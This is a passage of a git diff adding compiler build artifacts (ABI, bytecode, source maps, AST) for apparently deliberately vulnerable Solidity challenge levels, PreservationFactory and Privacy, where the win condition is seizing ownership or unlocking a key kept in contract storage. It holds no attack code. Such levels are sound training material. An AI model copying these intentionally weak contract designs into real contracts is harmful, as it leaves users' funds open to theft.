ol":{"keccak256":"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7","urls":["bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92","dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"],"license":"MIT"},"src/levels/Preservation.sol":{"keccak256":"0x2c5c3c5d976eceb60f5d53aa61ab5daa76a4695ed817e27824e93c42e82baac7","urls":["bzz-raw://0feb7aa8f39515213a5524a48ff38a61b36a5ad492ace6a1a48a8307dbdcfd67","dweb:/ipfs/QmX316NuK3oYEAUdpyUnNHiztZs2SBJKjvRFkwSEo3tsZb"],"license":"MIT"},"src/levels/PreservationFactory.sol":{"keccak256":"0x09cf5592ff0589796ae9b1bc154a538001e010a4b5e68f52b11626e6c231fe44","urls":["bzz-raw://808c0f881e362c9ff0620092cbc68a49ab505de7d1ddd34586362b95e32c7bc8","dweb:/ipfs/QmRa2NiS2ATDM18EbD6mEtSggZrtZk24rJ7J3EmYSkAR2K"],"license":"MIT"},"src/levels/base/Level.sol":{"keccak256":"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf","urls":["bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd","dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/levels/PreservationFactory.sol","id":54128,"exportedSymbols":{"Context":[48281],"Level":[55508],"LibraryContract":[54047],"Ownable":[46700],"Preservation":[54034],"PreservationFactory":[54127]},"nodeType":"SourceUnit","src":"33:790:98","nodes":[{"id":54049,"nodeType":"PragmaDirective","src":"33:23:98","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":54050,"nodeType":"ImportDirective","src":"58:26:98","nodes":[],"absolutePath":"src/levels/base/Level.sol","file":"./base/Level.sol","nameLocation":"-1:-1:-1","scope":54128,"sourceUnit":55509,"symbolAliases":[],"unitAlias":""},{"id":54051,"nodeType":"ImportDirective","src":"85:28:98","nodes":[],"absolutePath":"src/levels/Preservation.sol","file":"./Preservation.sol","nameLocation":"-1:-1:-1","scope":54128,"sourceUnit":54048,"symbolAliases":[],"unitAlias":""},{"id":54127,"nodeType":"ContractDefinition","src":"115:707:98","nodes":[{"id":54055,"nodeType":"VariableDeclaration","src":"159:31:98","nodes":[],"constant":false,"mutability":"mutable","name":"timeZone1LibraryAddress","nameLocation":"167:23:98","scope":54127,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":54054,"name":"address","nodeType":"ElementaryTypeName","src":"159:7:98","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"id":54057,"nodeType":"VariableDeclaration","src":"196:31:98","nodes":[],"constant":false,"mutability":"mutable","name":"timeZone2LibraryAddress","nameLocation":"204:23:98","scope":54127,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":54056,"name":"address","nodeType":"ElementaryTypeName","src":"196:7:98","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"id":54081,"nodeType":"FunctionDefinition","src":"234:153:98","nodes":[],"body":{"id":54080,"nodeType":"Block","src":"248:139:98","nodes":[],"statements":[{"expression":{"id":54068,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":54060,"name":"timeZone1LibraryAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54055,"src":"258:23:98","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"arguments":[],"expression":{"argumentTypes":[],"id":54065,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"292:19:98","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$__$returns$_t_contract$_LibraryContract_$54047_$","typeString":"function () returns (contract LibraryContract)"},"typeName":{"id":54064,"nodeType":"UserDefinedTypeName","pathNode":{"id":54063,"name":"LibraryContract","nameLocations":["296:15:98"],"nodeType":"IdentifierPath","referencedDeclaration":54047,"src":"296:15:98"},"referencedDeclaration":54047,"src":"296:15:98","typeDescriptions":{"typeIdentifier":"t_contract$_LibraryContract_$54047","typeString":"contract LibraryContract"}}},"id":54066,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"292:21:98","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_LibraryContract_$54047","typeString":"contract LibraryContract"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_LibraryContract_$54047","typeString":"contract LibraryContract"}],"id":54062,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"284:7:98","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":54061,"name":"address","nodeType":"ElementaryTypeName","src":"284:7:98","typeDescriptions":{}}},"id":54067,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"284:30:98","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"258:56:98","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":54069,"nodeType":"ExpressionStatement","src":"258:56:98"},{"expression":{"id":54078,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":54070,"name":"timeZone2LibraryAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54057,"src":"324:23:98","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"arguments":[],"expression":{"argumentTypes":[],"id":54075,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"358:19:98","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$__$returns$_t_contract$_LibraryContract_$54047_$","typeString":"function () returns (contract LibraryContract)"},"typeName":{"id":54074,"nodeType":"UserDefinedTypeName","pathNode":{"id":54073,"name":"LibraryContract","nameLocations":["362:15:98"],"nodeType":"IdentifierPath","referencedDeclaration":54047,"src":"362:15:98"},"referencedDeclaration":54047,"src":"362:15:98","typeDescriptions":{"typeIdentifier":"t_contract$_LibraryContract_$54047","typeString":"contract LibraryContract"}}},"id":54076,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"358:21:98","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_LibraryContract_$54047","typeString":"contract LibraryContract"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_LibraryContract_$54047","typeString":"contract LibraryContract"}],"id":54072,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"350:7:98","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":54071,"name":"address","nodeType":"ElementaryTypeName","src":"350:7:98","typeDescriptions":{}}},"id":54077,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"350:30:98","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"324:56:98","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":54079,"nodeType":"ExpressionStatement","src":"324:56:98"}]},"implemented":true,"kind":"constructor","modifiers":[],"name":"","nameLocation":"-1:-1:-1","parameters":{"id":54058,"nodeType":"ParameterList","parameters":[],"src":"245:2:98"},"returnParameters":{"id":54059,"nodeType":"ParameterList","parameters":[],"src":"248:0:98"},"scope":54127,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":54102,"nodeType":"FunctionDefinition","src":"393:199:98","nodes":[],"body":{"id":54101,"nodeType":"Block","src":"476:116:98","nodes":[],"statements":[{"expression":{"id":54089,"name":"_player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54083,"src":"486:7:98","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":54090,"nodeType":"ExpressionStatement","src":"486:7:98"},{"expression":{"arguments":[{"arguments":[{"id":54096,"name":"timeZone1LibraryAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54055,"src":"535:23:98","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":54097,"name":"timeZone2LibraryAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54057,"src":"560:23:98","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"}],"id":54095,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"518:16:98","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$_t_address_$_t_address_$returns$_t_contract$_Preservation_$54034_$","typeString":"function (address,address) returns (contract Preservation)"},"typeName":{"id":54094,"nodeType":"UserDefinedTypeName","pathNode":{"id":54093,"name":"Preservation","nameLocations":["522:12:98"],"nodeType":"IdentifierPath","referencedDeclaration":54034,"src":"522:12:98"},"referencedDeclaration":54034,"src":"522:12:98","typeDescriptions":{"typeIdentifier":"t_contract$_Preservation_$54034","typeString":"contract Preservation"}}},"id":54098,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"518:66:98","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Preservation_$54034","typeString":"contract Preservation"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Preservation_$54034","typeString":"contract Preservation"}],"id":54092,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"510:7:98","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":54091,"name":"address","nodeType":"ElementaryTypeName","src":"510:7:98","typeDescriptions":{}}},"id":54099,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"510:75:98","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"functionReturnParameters":54088,"id":54100,"nodeType":"Return","src":"503:82:98"}]},"baseFunctions":[55498],"functionSelector":"7726f776","implemented":true,"kind":"function","modifiers":[],"name":"createInstance","nameLocation":"402:14:98","overrides":{"id":54085,"nodeType":"OverrideSpecifier","overrides":[],"src":"449:8:98"},"parameters":{"id":54084,"nodeType":"ParameterList","parameters":[{"constant":false,"id":54083,"mutability":"mutable","name":"_player","nameLocation":"425:7:98","nodeType":"VariableDeclaration","scope":54102,"src":"417:15:98","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":54082,"name":"address","nodeType":"ElementaryTypeName","src":"417:7:98","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"416:17:98"},"returnParameters":{"id":54088,"nodeType":"ParameterList","parameters":[{"constant":false,"id":54087,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":54102,"src":"467:7:98","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":54086,"name":"address","nodeType":"ElementaryTypeName","src":"467:7:98","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"466:9:98"},"scope":54127,"stateMutability":"payable","virtual":false,"visibility":"public"},{"id":54126,"nodeType":"FunctionDefinition","src":"598:222:98","nodes":[],"body":{"id":54125,"nodeType":"Block","src":"704:116:98","nodes":[],"statements":[{"assignments":[54114],"declarations":[{"constant":false,"id":54114,"mutability":"mutable","name":"preservation","nameLocation":"727:12:98","nodeType":"VariableDeclaration","scope":54125,"src":"714:25:98","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Preservation_$54034","typeString":"contract Preservation"},"typeName":{"id":54113,"nodeType":"UserDefinedTypeName","pathNode":{"id":54112,"name":"Preservation","nameLocations":["714:12:98"],"nodeType":"IdentifierPath","referencedDeclaration":54034,"src":"714:12:98"},"referencedDeclaration":54034,"src":"714:12:98","typeDescriptions":{"typeIdentifier":"t_contract$_Preservation_$54034","typeString":"contract Preservation"}},"visibility":"internal"}],"id":54118,"initialValue":{"arguments":[{"id":54116,"name":"_instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54104,"src":"755:9:98","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":54115,"name":"Preservation","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54034,"src":"742:12:98","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Preservation_$54034_$","typeString":"type(contract Preservation)"}},"id":54117,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"742:23:98","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Preservation_$54034","typeString":"contract Preservation"}},"nodeType":"VariableDeclarationStatement","src":"714:51:98"},{"expression":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":54123,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":54119,"name":"preservation","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54114,"src":"782:12:98","typeDescriptions":{"typeIdentifier":"t_contract$_Preservation_$54034","typeString":"contract Preservation"}},"id":54120,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"795:5:98","memberName":"owner","nodeType":"MemberAccess","referencedDeclaration":53970,"src":"782:18:98","typeDescriptions":{"typeIdentifier":"t_function_external_view$__$returns$_t_address_$","typeString":"function () view external returns (address)"}},"id":54121,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"782:20:98","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"id":54122,"name":"_player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54106,"src":"806:7:98","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"782:31:98","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"functionReturnParameters":54111,"id":54124,"nodeType":"Return","src":"775:38:98"}]},"baseFunctions":[55507],"functionSelector":"d38def5b","implemented":true,"kind":"function","modifiers":[],"name":"validateInstance","nameLocation":"607:16:98","overrides":{"id":54108,"nodeType":"OverrideSpecifier","overrides":[],"src":"680:8:98"},"parameters":{"id":54107,"nodeType":"ParameterList","parameters":[{"constant":false,"id":54104,"mutability":"mutable","name":"_instance","nameLocation":"640:9:98","nodeType":"VariableDeclaration","scope":54126,"src":"624:25:98","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":54103,"name":"address","nodeType":"ElementaryTypeName","src":"624:15:98","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"constant":false,"id":54106,"mutability":"mutable","name":"_player","nameLocation":"659:7:98","nodeType":"VariableDeclaration","scope":54126,"src":"651:15:98","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":54105,"name":"address","nodeType":"ElementaryTypeName","src":"651:7:98","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"623:44:98"},"returnParameters":{"id":54111,"nodeType":"ParameterList","parameters":[{"constant":false,"id":54110,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":54126,"src":"698:4:98","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":54109,"name":"bool","nodeType":"ElementaryTypeName","src":"698:4:98","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"697:6:98"},"scope":54127,"stateMutability":"view","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[{"baseName":{"id":54052,"name":"Level","nameLocations":["147:5:98"],"nodeType":"IdentifierPath","referencedDeclaration":55508,"src":"147:5:98"},"id":54053,"nodeType":"InheritanceSpecifier","src":"147:5:98"}],"canonicalName":"PreservationFactory","contractDependencies":[54034,54047],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[54127,55508,46700,48281],"name":"PreservationFactory","nameLocation":"124:19:98","scope":54128,"usedErrors":[],"usedEvents":[46601]}],"license":"MIT"},"id":98} \ No newline at end of file diff --git a/contracts/out/Privacy.sol/Privacy.json b/contracts/out/Privacy.sol/Privacy.json new file mode 100644 index 000000000..c0a14fd03 --- /dev/null +++ b/contracts/out/Privacy.sol/Privacy.json @@ -0,0 +1 @@ +{"abi":[{"type":"constructor","inputs":[{"name":"_data","type":"bytes32[3]","internalType":"bytes32[3]"}],"stateMutability":"nonpayable"},{"type":"function","name":"ID","inputs":[],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"locked","inputs":[],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"unlock","inputs":[{"name":"_key","type":"bytes16","internalType":"bytes16"}],"outputs":[],"stateMutability":"nonpayable"}],"bytecode":{"object":"0x60806040525f805460ff1916600190811790915542908190556002805461ffff909216620100000263ffffffff199092169190911761ff0a179055348015610045575f80fd5b50604051610278380380610278833981016040819052610064916100c9565b61007060038281610077565b505061014e565b82600381019282156100a5579160200282015b828111156100a557825182559160200191906001019061008a565b506100b19291506100b5565b5090565b5b808211156100b1575f81556001016100b6565b5f606082840312156100d9575f80fd5b82601f8301126100e7575f80fd5b604051606081016001600160401b038111828210171561011557634e487b7160e01b5f52604160045260245ffd5b604052806060840185811115610129575f80fd5b845b8181101561014357805183526020928301920161012b565b509195945050505050565b61011d8061015b5f395ff3fe6080604052348015600e575f80fd5b5060043610603a575f3560e01c8063b3cea21714603e578063cf309012146059578063e1afb08c146073575b5f80fd5b604660015481565b6040519081526020015b60405180910390f35b5f5460649060ff1681565b60405190151581526020016050565b6082607e36600460b2565b6084565b005b6005546fffffffffffffffffffffffffffffffff1982811691161460a6575f80fd5b505f805460ff19169055565b5f6020828403121560c1575f80fd5b81356fffffffffffffffffffffffffffffffff198116811460e0575f80fd5b939250505056fea264697066735822122005dc573695018ff580f1507a5cdd3821a9d0483d25519b017b200ef6783342e164736f6c63430008180033","sourceMap":"57:822:99:-:0;;;80:25;;;-1:-1:-1;;80:25:99;101:4;80:25;;;;;;131:15;111:35;;;;152:29;;;225:52;;;;;;-1:-1:-1;;225:52:99;;;;;;;187:32;225:52;;;313:66;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;360:12;:4;367:5;360:4;:12;:::i;:::-;;313:66;57:822;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;57:822:99;;;-1:-1:-1;57:822:99;:::i;:::-;;;:::o;:::-;;;;;;;;;;;;;;;14:859:155;107:6;160:2;148:9;139:7;135:23;131:32;128:52;;;176:1;173;166:12;128:52;225:7;218:4;207:9;203:20;199:34;189:62;;247:1;244;237:12;189:62;280:2;274:9;322:2;310:15;;-1:-1:-1;;;;;340:34:155;;376:22;;;337:62;334:185;;;441:10;436:3;432:20;429:1;422:31;476:4;473:1;466:15;504:4;501:1;494:15;334:185;535:2;528:22;570:6;614:2;599:18;;629:19;;;626:39;;;661:1;658;651:12;626:39;685:9;703:139;719:6;714:3;711:15;703:139;;;787:10;;775:23;;827:4;818:14;;;;736;703:139;;;-1:-1:-1;861:6:155;;14:859;-1:-1:-1;;;;;14:859:155:o;:::-;57:822:99;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x6080604052348015600e575f80fd5b5060043610603a575f3560e01c8063b3cea21714603e578063cf309012146059578063e1afb08c146073575b5f80fd5b604660015481565b6040519081526020015b60405180910390f35b5f5460649060ff1681565b60405190151581526020016050565b6082607e36600460b2565b6084565b005b6005546fffffffffffffffffffffffffffffffff1982811691161460a6575f80fd5b505f805460ff19169055565b5f6020828403121560c1575f80fd5b81356fffffffffffffffffffffffffffffffff198116811460e0575f80fd5b939250505056fea264697066735822122005dc573695018ff580f1507a5cdd3821a9d0483d25519b017b200ef6783342e164736f6c63430008180033","sourceMap":"57:822:99:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;111:35;;;;;;;;;160:25:155;;;148:2;133:18;111:35:99;;;;;;;;80:25;;;;;;;;;;;;361:14:155;;354:22;336:41;;324:2;309:18;80:25:99;196:187:155;385:111:99;;;;;;:::i;:::-;;:::i;:::-;;;456:7;;-1:-1:-1;;440:24:99;;;;;;432:33;;;;;;-1:-1:-1;484:5:99;475:14;;-1:-1:-1;;475:14:99;;;385:111::o;388:333:155:-;447:6;500:2;488:9;479:7;475:23;471:32;468:52;;;516:1;513;506:12;468:52;555:9;542:23;-1:-1:-1;;598:5:155;594:78;587:5;584:89;574:117;;687:1;684;677:12;574:117;710:5;388:333;-1:-1:-1;;;388:333:155:o","linkReferences":{}},"methodIdentifiers":{"ID()":"b3cea217","locked()":"cf309012","unlock(bytes16)":"e1afb08c"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[{\"internalType\":\"bytes32[3]\",\"name\":\"_data\",\"type\":\"bytes32[3]\"}],\"stateMutability\":\"nonpayable\",\"type\":\"constructor\"},{\"inputs\":[],\"name\":\"ID\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"locked\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bytes16\",\"name\":\"_key\",\"type\":\"bytes16\"}],\"name\":\"unlock\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/levels/Privacy.sol\":\"Privacy\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"src/levels/Privacy.sol\":{\"keccak256\":\"0x141eeed3421b598c1dd063bab07e77a5ea5b5f1b2f701683562344e3f34ee961\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://19fabfc206db8cfd3a00f9aa8e53cd68671e20229912567eccb727112e84fc05\",\"dweb:/ipfs/QmbHaXwFcGetZhf1QxJrh8VXqTonrWFn8VQDuwa58gLSZd\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"bytes32[3]","name":"_data","type":"bytes32[3]"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"stateMutability":"view","type":"function","name":"ID","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"locked","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"bytes16","name":"_key","type":"bytes16"}],"stateMutability":"nonpayable","type":"function","name":"unlock"}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/levels/Privacy.sol":"Privacy"},"evmVersion":"shanghai","libraries":{}},"sources":{"src/levels/Privacy.sol":{"keccak256":"0x141eeed3421b598c1dd063bab07e77a5ea5b5f1b2f701683562344e3f34ee961","urls":["bzz-raw://19fabfc206db8cfd3a00f9aa8e53cd68671e20229912567eccb727112e84fc05","dweb:/ipfs/QmbHaXwFcGetZhf1QxJrh8VXqTonrWFn8VQDuwa58gLSZd"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/levels/Privacy.sol","id":54188,"exportedSymbols":{"Privacy":[54187]},"nodeType":"SourceUnit","src":"32:848:99","nodes":[{"id":54129,"nodeType":"PragmaDirective","src":"32:23:99","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":54187,"nodeType":"ContractDefinition","src":"57:822:99","nodes":[{"id":54132,"nodeType":"VariableDeclaration","src":"80:25:99","nodes":[],"constant":false,"functionSelector":"cf309012","mutability":"mutable","name":"locked","nameLocation":"92:6:99","scope":54187,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":54130,"name":"bool","nodeType":"ElementaryTypeName","src":"80:4:99","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"value":{"hexValue":"74727565","id":54131,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"101:4:99","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"},"visibility":"public"},{"id":54136,"nodeType":"VariableDeclaration","src":"111:35:99","nodes":[],"constant":false,"functionSelector":"b3cea217","mutability":"mutable","name":"ID","nameLocation":"126:2:99","scope":54187,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":54133,"name":"uint256","nodeType":"ElementaryTypeName","src":"111:7:99","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"value":{"expression":{"id":54134,"name":"block","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-4,"src":"131:5:99","typeDescriptions":{"typeIdentifier":"t_magic_block","typeString":"block"}},"id":54135,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"137:9:99","memberName":"timestamp","nodeType":"MemberAccess","src":"131:15:99","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"public"},{"id":54139,"nodeType":"VariableDeclaration","src":"152:29:99","nodes":[],"constant":false,"mutability":"mutable","name":"flattening","nameLocation":"166:10:99","scope":54187,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint8","typeString":"uint8"},"typeName":{"id":54137,"name":"uint8","nodeType":"ElementaryTypeName","src":"152:5:99","typeDescriptions":{"typeIdentifier":"t_uint8","typeString":"uint8"}},"value":{"hexValue":"3130","id":54138,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"179:2:99","typeDescriptions":{"typeIdentifier":"t_rational_10_by_1","typeString":"int_const 